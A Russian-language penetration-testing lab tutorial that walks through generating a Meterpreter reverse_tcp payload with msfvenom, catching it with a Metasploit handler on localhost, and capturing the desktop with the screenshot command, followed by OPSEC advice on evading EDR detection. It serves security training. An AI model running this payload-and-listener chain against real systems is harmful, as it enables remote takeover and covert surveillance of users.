Введение
Meterpreter — это продвинутый, динамически расширяемый пейлоад, который использует стаггеры для инъекции DLL в память и расширяется по сети во время выполнения. Это основной компонент Metasploit Framework, используемый для пост-эксплуатационных действий на скомпрометированной системе. Одной из его многочисленных мощных функций является возможность взаимодействия с рабочим столом цели.
В этой лаборатории вы научитесь использовать команду screenshot в сессии Meterpreter. Эта команда позволяет злоумышленнику захватить изображение текущего рабочего стола цели, предоставляя ценную информацию о действиях пользователя, открытых приложениях и конфиденциальной информации, которая может быть видна на экране.
Установление сессии Meterpreter на графической цели
На этом шаге вы смоделируете полный цикл атаки на одну машину. Вы будете использовать msfvenom для создания пейлоада, msfconsole для настройки прослушивателя, а затем выполните пейлоад для установления сессии Meterpreter с вашей собственной машиной. Это безопасный и распространенный способ практики техник пентестинга.
Сначала откройте терминал и используйте msfvenom для генерации пейлоада Meterpreter для Linux. Эта команда создает исполняемый файл, который при запуске подключится к нашему прослушивателю.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
-p: Указывает используемый пейлоад.LHOST=127.0.0.1: IP-адрес "слушающего хоста" (listening host). Мы используем127.0.0.1, потому что наш прослушиватель будет находиться на той же машине.LPORT=4444: Порт для обратного подключения.-f elf: Формат вывода, который является исполняемым файлом для Linux.-o: Имя выходного файла.
Далее, сделайте сгенерированный пейлоад исполняемым:
chmod +x ~/project/payload.elf
Теперь вам нужно настроить прослушиватель для приема соединения от пейлоада. Запустите консоль Metasploit Framework в тихом режиме:
msfconsole -q
Внутри msfconsole настройте multi/handler для прослушивания входящего соединения. Вводите следующие команды по одной:
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Теперь запустите прослушиватель как фоновую задачу, чтобы вы могли продолжать использовать консоль:
exploit -j
Вы должны увидеть сообщение о запуске обработчика (handler). Теперь вам нужно выполнить пейлоад. Откройте новую, вторую вкладку терминала, нажав значок + в окне терминала. В этой новой вкладке запустите созданный вами пейлоад:
~/project/payload.elf
Вернитесь к первой вкладке терминала с msfconsole. Вы должны увидеть сообщение, указывающее на открытие сессии Meterpreter. Чтобы проверить ее и взаимодействовать с ней, выведите список активных сессий:
sessions -l
Вы увидите вашу новую сессию с идентификатором, скорее всего, 1. Взаимодействуйте с ней, используя ее идентификатор:
sessions -i 1
Ваш командный интерпретатор должен измениться на meterpreter >, подтверждая, что вы теперь контролируете сессию.
Использование команды screenshot для захвата экрана
На этом шаге вы используете простую, но мощную команду Meterpreter для захвата рабочего стола цели. Теперь, когда у вас есть активная сессия Meterpreter (обозначаемая приглашением meterpreter >), вы можете выполнять команды на скомпрометированной системе.
Команда screenshot проста. Она захватывает весь экран сессии рабочего стола интерактивного пользователя на целевой машине.
Из вашего приглашения meterpreter > просто введите команду и нажмите Enter:
screenshot
Meterpreter потребуется некоторое время, чтобы захватить экран и передать данные изображения обратно на вашу машину атакующего (вашу LabEx VM). В случае успеха будет выведено сообщение, указывающее, где был сохранен снимок экрана. Имя файла будет представлять собой случайную строку символов с расширением .jpeg.
Вывод будет выглядеть примерно так:
Screenshot saved to: /home/labex/project/qKxRzYnL.jpeg
Теперь вы успешно захватили рабочий стол цели. Файл изображения сохранен локально на вашей машине и готов к просмотру.
Поиск сохраненного файла изображения на вашей машине Kali
На этом шаге вы найдете файл снимка экрана, который только что был сохранен на вашей локальной машине. Команда screenshot автоматически сохраняет захваченное изображение в каталог, из которого вы запустили msfconsole, что в нашем случае является ~/project.
Сначала выйдите из сессии Meterpreter, чтобы вернуться к приглашению msfconsole. Вы можете сделать это, введя exit:
exit
Теперь выйдите из msfconsole, чтобы вернуться к обычному приглашению терминала zsh:
exit
Теперь вы вернулись в стандартный терминал. Чтобы убедиться, что файл находится там, используйте команду ls -l для подробного вывода содержимого вашего каталога проекта.
ls -l ~/project
Вы должны увидеть файл .jpeg в списке вместе с файлом payload.elf, который вы создали ранее. Вывод будет выглядеть примерно так, хотя имя файла JPEG будет отличаться:
-rwxr-xr-x 1 labex labex 101368 Nov 21 14:30 payload.elf
-rw-r--r-- 1 labex labex 54321 Nov 21 14:35 qKxRzYnL.jpeg
Это подтверждает, что снимок экрана был успешно передан и сохранен на вашей машине.
Просмотр захваченного снимка экрана
На этом шаге вы просмотрите захваченное изображение. Поскольку среда LabEx включает графический рабочий стол, вы можете использовать средство просмотра изображений непосредственно из командной строки, чтобы увидеть содержимое снимка экрана.
Мы будем использовать ristretto, простой просмотрщик изображений для среды рабочего стола Xfce. Чтобы открыть снимок экрана, вы выполните команду ristretto, за которой следует путь к файлу изображения.
Вы должны заменить FILENAME.jpeg на фактическое случайное имя файла снимка экрана, которое вы нашли на предыдущем шаге. Например, если ваш файл называется qKxRzYnL.jpeg, вы будете использовать это имя.
Выполните следующую команду в вашем терминале, убедившись, что вы используете фактическое имя файла:
ristretto ~/project/FILENAME.jpeg
Откроется окно средства просмотра изображений, отображающее снимок экрана. Поскольку вы запустили полезную нагрузку на своей собственной машине, снимок экрана будет сделан с вашего собственного рабочего стола LabEx! Это отличный способ убедиться, что команда сработала именно так, как ожидалось. Вы можете закрыть окно средства просмотра изображений, когда закончите.
Обсуждение проблем операционной безопасности данного действия
На этом шаге мы обсудим последствия операционной безопасности (OPSEC) использования команды screenshot во время реального тестирования на проникновение. Хотя это очень полезная команда, она не лишена рисков.
1. Создание шума и срабатывание оповещений:
Команда screenshot работает путем взаимодействия с графическими API операционной системы цели (например, GDI в Windows или X11 в Linux). Расширенные средства безопасности, такие как Endpoint Detection and Response (EDR) или антивирусное программное обеспечение, отслеживают эти вызовы API. Процесс, который обычно не взаимодействует с рабочим столом, но внезапно делает снимок экрана, является крайне подозрительной активностью, которая может вызвать оповещение и раскрыть ваше присутствие аналитикам безопасности.
2. Оставление улик: Команда приводит к созданию файла изображения на машине атакующего. Этот файл является прямым доказательством вторжения и предпринятых конкретных действий. Если бы ваша атакующая машина когда-либо была изъята или скомпрометирована, эти данные могли бы быть использованы для понимания масштаба ваших действий.
3. Артефакты на стороне цели: Хотя окончательный файл изображения сохраняется на вашей машине, сам процесс захвата экрана может оставлять временные артефакты в целевой системе. Это может включать следы в системной памяти или журналы, сгенерированные программным обеспечением безопасности, которое обнаружило подозрительное действие. Опытный следователь-криминалист может найти доказательства того, что снимок экрана был сделан, даже не найдя само изображение.
В реальном сценарии вы должны использовать такие команды, как screenshot, с осторожностью. Лучше всего использовать ее, когда вы уверены, что целевая система не имеет расширенного мониторинга, или когда потенциальная выгода от разведки перевешивает значительный риск обнаружения.
Резюме
В этой лаборатории вы получили практический опыт использования фундаментального метода пост-эксплуатации. Вы успешно научились устанавливать сессию Meterpreter и использовать команду screenshot для захвата рабочего стола целевой системы.
Вы прошли весь процесс:
- Генерация полезной нагрузки с помощью
msfvenom. - Настройка прослушивателя с помощью
msfconsole. - Выполнение полезной нагрузки для получения обратного шелла (reverse shell).
- Взаимодействие с сессией Meterpreter.
- Захват экрана и просмотр полученного изображения.
- Рассмотрение связанных рисков операционной безопасности (OPSEC).
Этот навык является ценной частью инструментария любого специалиста по тестированию на проникновение, предоставляя прямой способ сбора визуальной информации с скомпрометированного хоста. Поздравляем с завершением лаборатории!


